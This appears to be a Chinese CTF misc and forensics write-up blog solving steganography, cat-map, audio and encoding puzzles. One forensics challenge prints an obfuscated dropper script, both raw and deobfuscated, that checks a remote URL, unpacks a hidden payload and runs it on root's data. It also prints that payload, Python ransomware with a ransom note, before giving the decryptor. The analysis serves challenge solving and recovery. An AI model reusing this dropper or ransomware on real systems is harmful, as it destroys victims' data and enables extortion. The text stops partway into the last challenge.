群友们问的一些来路不明的题

其实感觉时常做做群友给的题,对自我实力提升其实帮助挺大的

阅前须知

因为本文的题目大都来源于群友的提问,因此我文章中就不放具体的附件下载链接了

如果有需要题目附件的师傅,可以进我的交流群获取附件下载链接

进群方式可以参考博客中的 About

题目名称 sunset

题目附件给了下面这张图片

imgs/image-20240612143721666.png

上手用 zsteg 扫一下,发现 RGB 三个通道中都藏了一个压缩包

imgs/image-20240612143859073.png

因此我们用以下命令分别导出三个压缩包

1
2
3
zsteg -e b1,r,lsb,xy sunset.png > 1.zip
zsteg -e b1,g,lsb,xy sunset.png > 2.zip
zsteg -e b1,b,lsb,xy sunset.png > 3.zip

解压后分别得到 r.txt g.txt b.txt ,因此猜测是分别导出了三个通道的 hexdump

我们使用以下脚本把三个通道的数据组合一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
def read_channel_data(file_path):
    with open(file_path, 'r') as file:
        channel_data = file.readlines()

    formatted_data = []
    for line in channel_data:
        data = line.split()
        formatted_data.append(data[0] + data[1])

    return ''.join(formatted_data)


def combine_channels_to_bytes(r_data, g_data, b_data):
    binary_data = ''
    for r, g, b in zip(r_data, g_data, b_data):
        r_binary = bin(int(r, 16))[2:].zfill(4)
        g_binary = bin(int(g, 16))[2:].zfill(4)
        b_binary = bin(int(b, 16))[2:].zfill(4)
        # 逐位读取RGB合并后的二进制数据
        binary_data += ''.join(a + b + c for a, b,
                               c in zip(r_binary, g_binary, b_binary))

    byte_data = bytes([int(binary_data[i:i+8], 2)
                      for i in range(0, len(binary_data), 8)])
    return byte_data


def main():
    # 读取并格式化 R、G、B 通道数据
    r_data = read_channel_data('r.txt')
    g_data = read_channel_data('g.txt')
    b_data = read_channel_data('b.txt')

    # 合并通道数据成字节数据
    byte_data = combine_channels_to_bytes(r_data, g_data, b_data)

    # 将字节数据写入文件
    with open('1.zip', 'wb') as f_out:
        f_out.write(byte_data)
    print('Done')


if __name__ == "__main__":
    main()

组合后可以得到一个 zip 压缩包,解压后即可得到 flag

imgs/image-20240612144707833.png

题目名称 大威天龙

题目附件给了一个DOC和一个加密的RAR压缩包

imgs/image-20241217162427407.png

RAR压缩包的注释中有提示

imgs/image-20241217162453240.png

然后用010打开那个doc,发现其实是一个ZIP压缩包

imgs/image-20241217162534874.png

改后缀为.zip然后解压,在gogog路径下可以得到一张JPG图片

imgs/image-20241217162629300.jpeg

结合之前RAR注释中的提示,猜测就是steghide隐写,因此我们直接使用stegseek进行爆破

imgs/image-20241217162848465.png

可以得到一个txt文件,内容如下

imgs/image-20241217162955725.png

因此压缩包解压密码就是:恭喜你找到了rar压缩包的密码,快去解压吧!

Tips:这里有的师傅用010打开会发现看不到中文,是因为这里使用的是GBK编码,可以使用记事本或者CyberChef查看

imgs/image-20241217163150370.png

解压RAR压缩包后可以得到一张PNG图片和一个filename.c的代码

猜测图片被这个代码加密了,因此我们尝试逆向这个代码,结果发现原来的Python代码就写在注释里

imgs/image-20241217163442113.png

imgs/image-20241217163637471.png

因此直接写个脚本还原一下flag.png即可,还原后可以得到一张二维码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from PIL import Image


img = Image.open(r"out.png")
width,height = img.size
pix = img.load()

new_img = Image.new("RGBA", img.size)
new_pix = new_img.load()

for y in range(height):
    for x in range(width):
        b, a, r, g = pix[x, y]
        # 恢复亮度和对比度
        r = (r - 10) / 0.01
        g = (g - 10) / 0.01
        b = (b - 10) / 0.01
        a = (a - 10) / 0.01
        new_pix[x, y] = (int(r), int(g), int(b), int(a))

new_img.show()
new_img.save(r"flag.png")

最后扫码即可得到flag:flag{5fbb5f2b0f9234576d2742f225044463}

imgs/image-20241217164317654.png

题目名称 外星的凯撒凯撒凯撒

解压附件,可以得到一个DOCX还有一个加密的压缩包

imgs/image-20241217170952765.png

打开DOCX文件,发现里面有一部分文字是白色的,直接全部修改为红色并去除所有格式

imgs/image-20241217171536175.png

然后发现有很多行base64编码,猜测是base64隐写

imgs/image-20241217171656620.png

直接PZ解base64隐写可以得到:The ciphertext is:I0qwVtx2ft

然后我们在DOCX中调大缩放,可以看到有一个4music.wav的图标,直接双击即可打开一个wav

imgs/image-20241217171854306.png

播放发现是SSTV,扫描后可以得到密钥:ccttttf

imgs/image-20241217182044190.png

imgs/image-20241217182052665.png

然后维吉尼亚解密即可得到压缩包解压密码:G0odCae2ar

imgs/image-20241217182259005.png

使用得到的密码解压压缩包后可以得到一个flag.xlsx

把后缀改为.zip然后解压,在sheet1.xml中可以发现有很多内容,因此猜测是设置了特殊格式

然后根据 400行x400列 猜测是藏了一个二维码

imgs/image-20241217182445544.png

因此我们打开flag.xlsx文件,仔细观察发现有的单元格字体是加粗的,我们把加粗的单元格都涂黑

imgs/image-20241217182709212.png

imgs/image-20241217182740720.png

然后调整一下列宽得到一张二维码

imgs/image-20241217182855783.png

最后扫码即可得到flag:flag{Cae2ar+Cae2ar+Cae2ar+...=Vigenre}

imgs/image-20241217183113697.png

题目名称 图的点很奇怪

题目附件给了一张PNG图片还有一个加密的ZIP压缩包,猜测需要从PNG图片中获取压缩包的解压密码

imgs/image-20241218193239301.png

用010打开这张PNG图片,提示报错,仔细观察发现是图片chunk的CTYPE被修改了,尝试改回IDAT

imgs/image-20241218193434241.png

然后发现图片末尾有多余的数据,尝试删除多余的数据

imgs/image-20241218193558124.png

多余的数据删除后,图片就可以正常显示了,010中打开也没有报错了

放大图片查看,发现图片中有很多间隔相同的小点,猜测是隐写了另一张图片

imgs/image-20241218193727094.png

因此我们尝试提取等距像素点,可以提取出来下面这张图片

imgs/image-20241218193916026.png

因此压缩包的解压密码就是:$df&vK1RGqoj,用得到的压缩包密码解压后可以得到下图

imgs/image-20241218194027697.png

010打开上图,发现末尾藏了一张数据逆置后的PNG图片

imgs/image-20241218194114298.png

直接把末尾的数据复制出来CyberChef转换一下即可得到flag:flag{d4405ce1-3aac-ffb1-68af11-7d93e2066a}

imgs/image-20241218194211209.png

题目名称 cat(技能兴鲁)

题目附件给了一个cat_encode.py还有一张cat.png

imgs/image-20241218194619452.png

cat_encode.py的内容如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
def arnold_encode(image, shuffle_times, a, b):
    arnold_image = np.zeros(shape=image.shape)
    h, w = image.shape[0], image.shape[1]
    N = h
    for time in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):

                new_x = (1*ori_x + b*ori_y)% N
                new_y = (a*ori_x + (a*b+1)*ori_y) % N

                arnold_image[new_x, new_y, :] = image[ori_x, ori_y, :]

        image = np.copy(arnold_image)
    cv2.imwrite('cat.png', arnold_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
    return arnold_image

很明显就是经典的arnold猫脸变换了,但是没有给我们shuffle_times、a、b

因此猜测需要我们进行爆破,编写以下脚本进行爆破即可,当然能爆破的前提是三个值都不会太大

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import matplotlib.pyplot as plt
import cv2
import numpy as np

def arnold_decode(image, shuffle_times, a, b):
    """ decode for rgb image that encoded by Arnold
    Args:
        image: rgb image encoded by Arnold
        shuffle_times: how many times to shuffle
    Returns:
        decode image
    """
    # 1:创建新图像
    decode_image = np.zeros(shape=image.shape)
    # 2:计算N
    h, w = image.shape[0], image.shape[1]
    N = h  # 或N=w

    # 3:遍历像素坐标变换
    for time in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):
                # 按照公式坐标变换
                new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % N
                new_y = ((-a) * ori_x + ori_y) % N
                decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]
        image = np.copy(decode_image)
        
    return image

def arnold_brute(image,shuffle_times_range,a_range,b_range):
    for c in range(shuffle_times_range[0],shuffle_times_range[1]):
        for a in range(a_range[0],a_range[1]):
            for b in range(b_range[0],b_range[1]):
                print(f"[+] Trying shuffle_times={c} a={a} b={b}")
                decoded_img = arnold_decode(image,c,a,b)
                output_filename = f"flag_decodedc{c}_a{a}_b{b}.png"
                cv2.imwrite(output_filename, decoded_img, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
                
if __name__ == "__main__":
    img = cv2.imread("cat.png")
    arnold_brute(img, (1,6), (1,11), (1,11))

最后发现当shuffle_times=3、a=6、b=9时可以得到下图

imgs/image-20241218200611778.png

因此最后的flag就是:flag{022ae0e0-c61e-428c-9f76-2eb089a58348}

题目名称 被偷梁换柱的镜像

题目背景如下:

公司的运维人员使用了其U盘上的华为OpenEuler国产操作系统的ISO镜像,来给多台服务器安装系统,殊不知这些系统已经被悄悄的替换并嵌入了勒索病毒。。。多个月后,病毒偷偷的把数据加密了,你能帮忙分析并解密吗?

附件给了一个被加密的文件还有一个ISO镜像文件

ISO镜像直接双击挂载或者用Disk Genius挂载可以得到安装的镜像install.img

imgs/image-20241218131830249.png

install.img因为系统格式不同,因此Windows下无法直接挂载

但是img镜像其实就是一个压缩包,用bandzip可能无法正常解压,但是我们可以使用7zip进行解压

第一层解压可以得到rootfs.img,再解压一层即可得到Linux的文件系统

imgs/image-20241218132121101.png

然后我们在\rootfs\var\adm路径下可以得到一个runrunrun.bash,内容如下

1
2
3
4
z="
";lDz='Hz';Oz='id';VFz='y';jDz='$B';TCz=';G';MEz='gz';GDz=''\''j';az='"';OCz='4'\''';ez='se';rDz='Mz';Vz='/n';XDz=''\''D';KEz='$d';Cz='UR';HEz='$b';dEz='Oz';IEz='cz';qz='if';eDz='z$';Fz='tt';XEz='$s';OFz='ch';kz=' "';IBz='='\''';EEz='Vz';IDz=' '\''';qBz='Uz';LEz='$f';TEz='nz';oz='RL';MBz=''\'';';cz='sp';tFz='at';lEz='GB';ACz=''\''v';oBz=';O';RBz='Gz';Jz='pi';kBz='Cz';JEz='$c';KFz='d ';bEz='xz';VBz='m'\''';CDz=''\''X';wEz='si';vCz='tz';DBz=' t';KDz=''\''F';UDz=';V';WBz=';B';dz='on';dDz='al';XFz='40';YEz='$u';SEz='$m';YBz='IB';DCz='CB';eEz='Lz';YDz='wz';ZFz='py';rCz='Wz';FEz='$Z';yDz='$U';TBz=';J';OBz='O'\''';xDz='$T';dFz='/r';EFz='/R';eBz=';k';YFz='0 ';qEz='un';TDz=','\''';Kz='.b';UCz='h'\''';jCz='jz';Ez='"h';aDz=';P';pCz=';d';JCz='vz';PDz='M'\''';hCz=';m';iz='l ';Iz='/a';mEz='$D';qCz=''\''c';ECz=''\''/';UEz='$o';XBz=''\''{';UFz='.p';iDz='Az';QEz='$k';cBz=';F';nz='_U';yBz=';H';bz='re';jz='-s';BBz='" ';tBz=''\''%';HDz='Fz';HBz='Jz';vEz='pa';HCz=';c';CCz=''\'')';eFz='oo';NFz='/.';sz='$r';hEz='$X';aEz='$w';sCz='x'\''';fFz='t/';BCz='DB';LCz=';S';rz=' [';FBz='z=';tEz='-P';RDz=''\''7';OEz='$i';Az='AP';kCz='Z'\''';kEz='FB';uFz='e.';Sz='/c';SCz='~'\''';MFz='mp';bBz='a'\''';VEz='$p';lz='$A';gDz='$E';FFz='TL';VDz=''\'''\''';REz='lz';qDz='$M';sBz=';x';SBz='e'\''';eCz=''\''@';oCz='2'\''';Tz='he';fCz='yz';mDz='$I';JBz='l'\''';uz='po';RFz='up';BFz='fi';FCz='oz';SDz='uz';QCz=''\''9';IFz='in';aFz='th';YCz=''\''y';cCz='}'\''';DFz='wa';PFz='ec';RCz='Dz';aCz=''\''1';Rz='om';FDz=';n';nDz='$K';tDz='$O';ZEz='$v';CBz='];';iFz='an';cFz='y ';ZDz='|'\''';jBz=''\''"';iBz=';K';DDz='Rz';mFz=' &';Bz='I_';vDz='$Q';mBz=';A';EDz='\'\''';JDz=';f';LBz=''\''d';Wz='ee';XCz=';T';sDz='$N';ICz=''\''6';yEz='de';WDz=';Q';vz='ns';ODz='pz';Lz='ai';bDz=''\''L';pEz='z"';NDz=''\''$';dCz=';M';kFz='ta';kDz='$G';Mz='du';yCz='Zz';PBz=';L';SFz='da';tz='es';ZCz='BB';xBz='#'\''';oDz='$L';MDz='t'\''';pz='")';mCz=''\''n';GCz='E'\''';AFz=' /';PCz=';l';PEz='$j';xz=' =';oEz='$h';DEz='$Y';vBz=''\''R';rFz='_u';UBz='Bz';jEz='$x';LDz='bz';QFz='k_';wBz='Nz';wz='e"';oFz='10';hz='ur';WEz='Qz';fDz='$C';jFz='t_';nBz='b'\''';MCz=''\''`';WCz='3'\''';pDz='Kz';iEz='EB';KBz=';i';AEz='$V';gz='(c';cEz='$y';nEz='iz';uDz='Pz';Dz='L=';nFz='sl';rEz='zi';uCz=''\''z';lFz='/*';NEz='hz';pFz='tm';uBz='HB';xCz=''\''g';VCz=';E';Uz='ck';bCz='Ez';HFz='25';lBz='*'\''';CFz='rm';JFz=' -';GFz='81';EBz='n';gBz='ez';qFz='p/';iCz=''\''I';TFz='te';ADz='i'\''';hDz='$F';wCz=';s';yz='= ';GEz='az';WFz='mo';Gz='ps';mz='PI';sFz='pd';sEz='p ';QDz=';X';Qz='.c';xEz='wo';fBz=''\''U';ABz='"y';gFz='im';CEz='Xz';LFz='/t';dBz='Q'\''';GBz='";';Xz='d/';NBz='rz';Pz='ub';Zz='ed';BDz=';h';Nz='ba';ZBz=''\''-';QBz=''\''(';hFz='rt';bFz='3 ';lCz=';a';tCz=';g';pBz=''\''s';cDz='ev';uEz=' $';BEz='$W';gEz='$J';NCz='qz';nCz='Yz';fz='=$';fEz='$R';Hz=':/';hBz='G'\''';wDz='$S';gCz='+'\''';aBz='Iz';Yz='lo';KCz='^'\''';rBz='p'\''';

echo "$Az$Bz$Cz$Dz$Ez$Fz$Gz$Hz$Iz$Jz$Kz$Lz$Mz$Nz$Oz$Pz$Lz$Mz$Nz$Oz$Pz$Lz$Mz$Qz$Rz$Sz$Tz$Uz$Vz$Wz$Xz$Yz$Uz$Zz$az$z$bz$cz$dz$ez$fz$gz$hz$iz$jz$kz$lz$mz$nz$oz$pz$z$qz$rz$kz$sz$tz$uz$vz$wz$xz$yz$ABz$tz$BBz$CBz$DBz$Tz$EBz$z$FBz$az$z$GBz$HBz$IBz$JBz$KBz$FBz$LBz$MBz$NBz$IBz$OBz$PBz$FBz$QBz$MBz$RBz$IBz$SBz$TBz$UBz$IBz$VBz$WBz$FBz$XBz$MBz$YBz$FBz$ZBz$MBz$aBz$IBz$bBz$cBz$UBz$IBz$dBz$eBz$FBz$fBz$MBz$gBz$IBz$hBz$iBz$FBz$jBz$MBz$kBz$IBz$lBz$mBz$UBz$IBz$nBz$oBz$FBz$pBz$MBz$qBz$IBz$rBz$sBz$FBz$tBz$MBz$uBz$FBz$vBz$MBz$wBz$IBz$xBz$yBz$FBz$ACz$MBz$BCz$FBz$CCz$MBz$DCz$FBz$ECz$MBz$FCz$IBz$GCz$HCz$FBz$ICz$MBz$JCz$IBz$KCz$LCz$FBz$MCz$MBz$NCz$IBz$OCz$PCz$FBz$QCz$MBz$RCz$IBz$SCz$TCz$UBz$IBz$UCz$VCz$UBz$IBz$WCz$XCz$FBz$YCz$MBz$ZCz$FBz$aCz$MBz$bCz$IBz$cCz$dCz$FBz$eCz$MBz$fCz$IBz$gCz$hCz$FBz$iCz$MBz$jCz$IBz$kCz$lCz$FBz$mCz$MBz$nCz$IBz$oCz$pCz$FBz$qCz$MBz$rCz$IBz$sCz$tCz$FBz$uCz$MBz$vCz$IBz$IBz$wCz$FBz$xCz$MBz$yCz$IBz$ADz$BDz$FBz$CDz$MBz$DDz$IBz$EDz$FDz$FBz$GDz$MBz$HDz$IBz$IDz$JDz$FBz$KDz$MBz$LDz$IBz$MDz$mBz$FBz$NDz$MBz$ODz$IBz$PDz$QDz$FBz$RDz$MBz$SDz$IBz$TDz$UDz$FBz$VDz$EDz$VDz$WDz$FBz$XDz$MBz$YDz$IBz$ZDz$aDz$FBz$bDz$MBz$z$cDz$dDz$kz$lz$eDz$UBz$fDz$eDz$RCz$gDz$eDz$HDz$hDz$eDz$iDz$jDz$eDz$kBz$gDz$eDz$HDz$kDz$eDz$lDz$lz$eDz$UBz$fDz$eDz$bCz$mDz$eDz$HBz$hDz$eDz$HDz$nDz$eDz$iDz$oDz$eDz$HDz$hDz$eDz$HDz$hDz$eDz$pDz$lz$eDz$UBz$qDz$eDz$RCz$gDz$eDz$pDz$hDz$eDz$iDz$jDz$eDz$rDz$sDz$eDz$aBz$tDz$eDz$uDz$vDz$eDz$DDz$wDz$eDz$rDz$xDz$eDz$bCz$hDz$eDz$HDz$yDz$eDz$iDz$AEz$eDz$DDz$BEz$eDz$CEz$DEz$eDz$EEz$FEz$eDz$GEz$HEz$eDz$iDz$AEz$eDz$DDz$BEz$eDz$IEz$JEz$eDz$EEz$hDz$eDz$pDz$KEz$eDz$gBz$LEz$eDz$MEz$mDz$eDz$NEz$OEz$eDz$lDz$PEz$eDz$gBz$QEz$eDz$REz$SEz$eDz$TEz$UEz$eDz$nCz$VEz$eDz$TEz$QEz$eDz$NCz$sz$eDz$WEz$XEz$eDz$NCz$SEz$eDz$TEz$tDz$eDz$vCz$nDz$eDz$HDz$hDz$eDz$iDz$jDz$eDz$rDz$YEz$eDz$bCz$hDz$eDz$HDz$nDz$eDz$iDz$jDz$eDz$rDz$ZEz$eDz$JCz$gDz$eDz$pDz$hDz$eDz$HDz$aEz$eDz$HDz$hDz$eDz$HDz$lz$eDz$UBz$fDz$eDz$bEz$sz$eDz$MEz$cEz$eDz$HBz$gDz$eDz$HDz$hDz$eDz$HDz$lz$UBz$AEz$eDz$EEz$mDz$eDz$dEz$AEz$eDz$EEz$kDz$eDz$iDz$oDz$eDz$eEz$hDz$eDz$HDz$hDz$eDz$eEz$oDz$eDz$ZCz$eDz$iDz$jDz$eDz$kBz$fDz$UBz$fEz$eDz$BCz$eDz$TEz$jDz$UBz$gEz$eDz$fCz$HEz$eDz$DCz$eDz$TEz$KEz$eDz$JCz$hEz$eDz$bCz$jDz$UBz$sDz$eDz$pDz$jDz$UBz$nDz$eDz$kBz$jDz$UBz$nDz$eDz$iEz$eDz$pDz$sDz$eDz$ZCz$eDz$BCz$eDz$fCz$gDz$UBz$nDz$eDz$wBz$nDz$eDz$pDz$jDz$UBz$nDz$eDz$pDz$lz$eDz$UBz$qDz$eDz$bEz$jEz$eDz$kEz$eDz$lEz$eDz$uBz$eDz$kEz$eDz$bCz$nDz$eDz$nCz$mEz$UBz$hDz$eDz$BCz$eDz$BCz$eDz$pDz$nDz$eDz$NCz$hDz$eDz$YBz$eDz$nEz$hDz$eDz$HDz$lz$eDz$UBz$qDz$eDz$bEz$sDz$eDz$lDz$gEz$UBz$oEz$eDz$uDz$fEz$eDz$BCz$eDz$wBz$gDz$eDz$HDz$hDz$eDz$HDz$hDz$eDz$BCz$eDz$pDz$hDz$eDz$HDz$nDz$eDz$iDz$jDz$eDz$rDz$YEz$eDz$bCz$nDz$pEz$z$qEz$rEz$sEz$tEz$uEz$vEz$wEz$xEz$yEz$AFz$BFz$CFz$DFz$bz$EFz$FFz$GFz$HFz$Kz$IFz$JFz$KFz$LFz$MFz$NFz$OFz$PFz$QFz$RFz$SFz$TFz$UFz$VFz$z$OFz$WFz$KFz$XFz$YFz$LFz$MFz$NFz$OFz$PFz$QFz$RFz$SFz$TFz$UFz$VFz$z$ZFz$aFz$dz$bFz$LFz$MFz$NFz$OFz$PFz$QFz$RFz$SFz$TFz$UFz$cFz$dFz$eFz$fFz$gFz$uz$hFz$iFz$jFz$SFz$kFz$lFz$mFz$z$nFz$Wz$sEz$oFz$z$CFz$AFz$pFz$qFz$Qz$Tz$Uz$rFz$sFz$tFz$uFz$ZFz$z$BFz"

Tips:在做取证题过程中如果发现文件较多,其实可以把文件按照时间排序一下,这样可以大大缩短定位时间

是一个加了混淆的bash脚本,代码不长,我们可以手动解一下这个混淆

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
API_URL="https://api.baidubaidubaidubaidubaidu.com/check/need/locked"
response=$(curl -s "$API_URL")
if [ "$response" == "yes" ]; then
eval 'printf "cGFzaXdvZGU9IjE2MjU4ODg4Ijs=" |  base64 -d'
unzip -P $pasiwode /firmware/RTL8125.bin -d /tmp/.check_update.py
chmod 400 /tmp/.check_update.py
python3 /tmp/.check_update.py /root/important_data/* &
sleep 10
rm /tmp/.check_update.py
fi

其实就是base64解码得到压缩包解压密码:16258888,然后解压的过程,然后压缩包中的文件就是加密代码

imgs/image-20241218132440673.png

因此我们接下来需要去找加密代码,发现7zip直接解压出来会丢失这部分的文件

imgs/image-20241218133417809.png

所以我们使用Disk Genius的恢复文件功能去恢复加密的压缩包以及里面的加密代码

imgs/image-20241218132716931.png

改后缀为.zip,然后使用得到的压缩包密码解压即可得到加密代码,内容如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import hashlib
import time
import sys

NODecryptionForYouFFFFFFF = sys.argv[1]

def NODecryptionForYou1(NODecryptionForYou5):
    NODecryptionForYou6 = hashlib.md5(str(NODecryptionForYou5).encode('utf-8')).digest()
    return NODecryptionForYou6[:16]

def NODecryptionForYou2(NODecryptionForYou4, NODecryptionForYou11, NODecryptionForYou12):
    cipher = AES.new(NODecryptionForYou4, AES.MODE_CBC)
    with open(NODecryptionForYou11, 'rb') as NODecryptionForYouMAN8IN:
        NODecryptionForYou7 = NODecryptionForYouMAN8IN.read()
    NODecryptionForYou8 = cipher.iv + cipher.encrypt(pad(NODecryptionForYou7, AES.block_size))
    with open(NODecryptionForYou12, 'wb') as NODecryptionForYouMAN8OUT:
        NODecryptionForYouMAN8OUT.write(NODecryptionForYou8)

NODecryptionForYou5 = int(time.time())
NODecryptionForYou4 = NODecryptionForYou1(NODecryptionForYou5)
NODecryptionForYou3 = f'{NODecryptionForYou5}.locked'
NODecryptionForYou2(NODecryptionForYou4, NODecryptionForYouFFFFFFF, NODecryptionForYou3)

print("SEND 1000 BTC TO [asdjjkh1iuhfihuiu1yrueo-this-is-fake-addr] for decryption, OR WE WILL LEAK ALL YOU DATA!!!")

代码逻辑并不复杂,就是用时间戳MD5值的前16位作为key去进行AES-CBC加密,然后IV保存在加密后文件的前16字节中

解密的思路也比较简单,懒得自己手写了,直接GPT秒了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib

def NODecryptionForYou1(timestamp):
    # 通过时间戳生成密钥
    NODecryptionForYou6 = hashlib.md5(str(timestamp).encode('utf-8')).digest()
    return NODecryptionForYou6[:16]

def NODecryptionForYou2(key, enc_file, output_file):
    with open(enc_file, 'rb') as f:
        enc_data = f.read()
    
    # 从加密文件中提取 IV 和密文
    iv = enc_data[:16]  # 前 16 字节是 IV
    cipher_text = enc_data[16:]  # 剩下的是密文
    
    # 使用 AES CBC 模式进行解密
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = unpad(cipher.decrypt(cipher_text), AES.block_size)
    
    # 将解密后的数据保存到输出文件
    with open(output_file, 'wb') as f:
        f.write(decrypted_data)

timestamp = 1732250675
key = NODecryptionForYou1(timestamp)
enc_file = f'{timestamp}.locked'  # 加密文件
output_file = f'{timestamp}.decrypted'  # 解密后的文件

NODecryptionForYou2(key, enc_file, output_file)

print(f"File decrypted successfully! Output saved as {output_file}")

运行以上代码,发现解密后的文件是一个zip压缩包,因此改后缀位.zip并解压可以得到一个重要数据.docx

imgs/image-20241218133157811.png

打开DOCX即可得到flag:flag{851bd91f4a8168d2d719ab69eb1423f9}

imgs/image-20241218133121093.png

题目名称 莉可丽丝(迅岚安全杯)

题目附件给了一个压缩包,解压后可以得到一张莉可丽丝 .jpg

imgs/image-20241221163917350.png

010打开发现末尾藏了一个7z压缩包

imgs/image-20241221163939567.png

提取出来后尝试使用弱密码字典爆破,得到解压密码1234567890

Tips:7z的弱密码字典爆破可能会有点慢,使用passware kit爆破可能会稍微快一点

imgs/image-20241221163949601.png

解压后得到一个类似于PPTX结构的文件夹,因此我们压缩为zip并改后缀为.pptx

imgs/image-20241221164016806.png

打开PPTX文件,删除覆盖在上面的文字和图片,发现最下面有一行白色的文字,改个颜色即可得到flag:flag{geigei_zhen_de_hao_li_hai} imgs/image-20241221164132989.png

题目名称 电音

附件给了一个wav和一个加密的压缩包

wav用au打开查看频谱图可以看到一个二维码

imgs/image-20241225235620648.png

截个图然后用PPT拼一下可以得到下面这张二维码,扫码得到qr1sc0ol&

imgs/image-20241225235752506.png

因此猜测还有后半段的解压密码,仔细查看那个wav文件,尝试把前面二维码的内容删除

把剩下的内容效果器-音量与压缩-增幅,然后再播放,发现是DTMF电话音

直接用GitHub - ribt/dtmf-decoder 这个项目识别一下可以得到:3863334447777222666666555

imgs/image-20241226000856436.png

然后联想到手机键盘密码,根据下面这个对照表得到dtmfiscool

感谢烛影✌提供的对照表

imgs/image-20241226092225804.jpeg

1
2
3 8 6 333 444 7777 222 666 666 555
d t m f    i    s   c   o   o   l

因此压缩包的解压密码为qr1sc0ol&dtmfiscool,解压即可得到flag:flag{b606eea7-16e4-4b41-9efc-ca000429480f}

题目名称 Coffee_loving_cat(天权信安CTF)

整场比赛Misc的完整wp:首届“天权信安&catf1ag”网络安全联合公开赛-部分misc-CSDN博客

附件给了一个压缩包,里面一共有四个文件,其中三个文件是加密的

imgs/image-20241225205715776.png

但是下面这张文件没有加密,猜测需要从下面这张图片中获取解压密码

imgs/image-20241225205550609.jpeg

发现这张图片主要是讲咖啡价格的,因此密码与咖啡有关,上网搜索可以找到下面这篇文章

星巴克杯子上字母的含义:https://www.mopress.io/food/olejRNQWej

1
2
3
4
5
6
7
8
1. L - 一般拿铁(Latte)
2. VL - 香草拿铁(Vanilla Latte)
3. HL - 榛子拿铁(Hazelnut Latte)
4. FW - 馥芮白(Flat white)
5. CM - 焦糖玛奇朵(Caramel Macchiato)
6. M - 摩卡(Mocha)
7. C加横杠 - 卡布奇诺(Cappuccino)
8. A - 美式咖啡(Americano)

根据这个对应关系和上面那张图可以得到:ALCMCMFW

然后把上面咖啡的价格以此相加6+9+12+10+14+11 = 62联想到base62编码

之前得到的内容base62编码一下可以得到解压密码5bZuRXL0Mjf

解压后可以得到两张图片,里面有两张二维码

imgs/image-20241225212423398.png

imgs/image-20241225212429255.png

扫码后可以得到如下内容

1
2
3
Megrez is yyds!!!

Megrez is my god!!!

然后我们看另一张图片,结合题目名称中的cat,猜测是Arnold猫脸变换

因为shuffle_times、a、b三个参数都未知,因此我们尝试爆破一下

最后发现正确的shuffle_times、a、b分别为 12、0、9

Tips:这里因为图片不是正方形,所以需要分别取模宽和高

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import cv2
import numpy as np

def arnold_decode(image, shuffle_times, a, b):
    decode_image = np.zeros(shape=image.shape)
    h, w = image.shape[0], image.shape[1]
    for time in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):
                new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % h
                new_y = ((-a) * ori_x + ori_y) % w
                decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]
        image = np.copy(decode_image)
    return image

if __name__ == "__main__":
    img = cv2.imread("fla@.bmp")
    decode_img = arnold_decode(img, 12, 0, 9)
    cv2.imwrite('flag.png',decode_img)

运行以上脚本后即可得到flag:flag{512ed05a-629a-11ed-ae9d-ac1203fb3249}

imgs/image-20241225215512617.png

题目名称 简单的图片(XSCTF联合招新赛)

附件给了下面这张图片

imgs/image-20241225220056396.png

zsteg扫一下,发现LSB隐写了数据

imgs/image-20241225220153184.png

尝试用zsteg -e b1,bgr,lsb,xy IM.png > data.txt导出可以得到如下数据

1
['xxfxc', 'xxfst', 'xxtfc', 'xxfxt', 'xxfft', 'xxttc', 'xxffs', 'xxsft', 'xxftc', 'xxtfx', 'xxtfc', 'xxfcf', 'xxfxs', 'xxtfx', 'xxctx', 'xxfcx', 'xxtfx', 'xxsff', 'xxfsf', 'xxtfc', 'xxfxt', 'xxcxs', 'xxtfx', 'xxfsf', 'xxtfc', 'xxftx', 'xxfts', 'xxfxs', 'xxfcf', 'xxsfc', 'xsxxx']

仔细观察上面的数据,发现都是x开头的,然后每个字符串的长度都是5,并且字符集就是xsctf这五个字符

因此猜测是五进制,结合最后一个字符xsxxx对应01000(125)刚刚好是{,更加确定是五进制了

因此我们写一个脚本转换一下即可得到flag:flag{\y0u_are_An_1mag3_master/}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
lst = ['xxfxc', 'xxfst', 'xxtfc', 'xxfxt', 'xxfft', 'xxttc', 'xxffs', 'xxsft', 'xxftc', 'xxtfx', 'xxtfc', 'xxfcf', 'xxfxs', 'xxtfx', 'xxctx', 'xxfcx', 'xxtfx', 'xxsff', 'xxfsf', 'xxtfc', 'xxfxt', 'xxcxs', 'xxtfx', 'xxfsf', 'xxtfc', 'xxftx', 'xxfts', 'xxfxs', 'xxfcf', 'xxsfc', 'xsxxx']

trans = str.maketrans("xsctf","01234")

flag = ""
for item in lst:
    flag += chr(int(item.translate(trans),5))
    
print(flag)
# flag{\y0u_are_An_1mag3_master/}

题目名称 mos

附件给了一个zip压缩包,尝试解压发现报错

imgs/image-20241229105407188.png

用010打开,发现是文件头损坏了,因此我们修复一下PK文件头504B0304

